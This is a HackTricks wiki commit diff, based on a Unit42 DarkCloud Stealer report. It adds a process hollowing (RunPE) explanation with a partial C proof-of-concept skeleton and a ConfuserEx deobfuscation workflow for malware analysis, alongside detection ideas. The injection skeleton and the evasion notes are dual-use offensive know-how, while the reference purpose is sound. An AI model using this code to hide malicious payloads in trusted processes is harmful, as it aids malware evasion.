Merge pull request #1255 from HackTricks-wiki/update_New_Infection_Chain_and_ConfuserEx-Based_Obfuscati_20250807_124221

New Infection Chain and ConfuserEx-Based Obfuscation for Dar...

src/reversing/common-api-used-in-malware.md

@@ -118,14 +118,64 @@ Find a thread from a process and make it load a malicious DLL
 
 Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
 
-### Process Hollowing
+### Process Hollowing (a.k.a **RunPE**)
+
+`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware.  The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place.  When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
+
+Typical workflow:
+
+1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet.
+   ```c
+   STARTUPINFOA  si = { sizeof(si) };
+   PROCESS_INFORMATION pi;
+   CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
+                 NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
+   ```
+2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`.
+3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – unmap the original image base of the suspended process.
+4. **VirtualAllocEx** – reserve RWX memory of `SizeOfImage` inside the remote process.
+5. **WriteProcessMemory** – copy the `Headers` first, then iterate over sections copying their raw data.
+6. **SetThreadContext** – patch the value of `EAX/RAX` (`RCX` on x64) or `Rip` in the context structure so that `EIP` points to the payload’s `EntryPoint`.
+7. **ResumeThread** – the thread continues, executing the attacker-supplied code.
+
+Minimal proof-of-concept (x86) skeleton:
+```c
+void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
+  // 1. create suspended process
+  STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
+  CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
+
+  // 2. read remote PEB to get ImageBaseAddress
+  CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
+  GetThreadContext(pi.hThread,&ctx);
+  PVOID baseAddr;
+  ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
+
+  // 3. unmap original image & allocate new region at same base
+  NtUnmapViewOfSection(pi.hProcess,baseAddr);
+  PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
+                                 MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
+  // 4-5. copy headers & sections …
+  // 6. write new image base into PEB and set Eip
+  WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
+  ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
+  SetThreadContext(pi.hThread,&ctx);
+  // 7. run!
+  ResumeThread(pi.hThread);
+}
+```
+
+Practical notes observed in the **DarkCloud Stealer** campaign:
+
+* The loader picked `RegAsm.exe` (part of the .NET Framework) as host – a signed binary unlikely to draw attention.
+* The decrypted VB6 stealer (`holographies.exe`) is *not* dropped on disk; it only ever exists inside the hollowed process making static detection harder.
+* Sensitive strings (regexes, paths, Telegram credentials) are **RC4-encrypted** per-string and only decrypted at runtime, further complicating memory scanning.
+
+Detection ideas:
+* Alert on `CREATE_SUSPENDED` processes that never create GUI/console windows before a memory region is allocated as **RWX** (rare for benign code).
+* Look for a call sequence `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` across different processes.
 
-The malware will unmap the legitimate code from memory of the process and load a malicious binary
 
-1. Create a new process: CreateProcess
-2. Unmap the memory: ZwUnmapViewOfSection, NtUnmapViewOfSection
-3. Write the malicious binary in the process memory: VirtualAllocEc, WriteProcessMemory
-4. Set the entrypoint and execute: SetThreadContext, ResumeThread
 
 ## Hooking
 
@@ -136,6 +186,11 @@ The malware will unmap the legitimate code from memory of the process and load a
 - **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
 - **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
 
+
+## References
+
+- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
+
 {{#include ../banners/hacktricks-training.md}}
 
 

src/windows-hardening/av-bypass.md

@@ -245,9 +245,44 @@ To bypass PowerShell logging, you can use the following techniques:
 > [!TIP]
 > Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
 
-There are several tools that can be used to **obfuscate C# clear-text code**, generate **metaprogramming templates** to compile binaries or **obfuscate compiled binaries** such as:
+### Deobfuscating ConfuserEx-Protected .NET Binaries
+
+When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes.  The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.
+
+1.  Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`).  This also patches the PE checksum so any modification will crash the binary.  Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
+   ```bash
+   # https://github.com/wwh1004/AntiTamperKiller
+   python AntiTamperKiller.py Confused.exe Confused.clean.exe
+   ```
+   Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
+
+2.  Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
+   ```bash
+   de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
+   ```
+   Flags:
+     • `-p crx` – select the ConfuserEx 2 profile
+     • de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.
+
+3.  Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation.  Remove them with **ProxyCall-Remover**:
+   ```bash
+   ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
+   ```
+   After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
+
+4.  Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload.  Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
+
+The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
+
+> 🛈  ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
+
+#### One-liner
+```bash
+autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
+```
+
+---
 
-- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): It's a great open-source obfuscator for .NET applications. It provides various protection techniques such as control flow obfuscation, anti-debugging, anti-tampering, and string encryption. It's recommened cause it allows even to obfuscate specific chunks of code.
 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
 - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
@@ -719,7 +754,8 @@ This case study demonstrates how purely client-side trust decisions and simple s
 
 ## References
 
+- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
-
 - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
+
 {{#include ../banners/hacktricks-training.md}}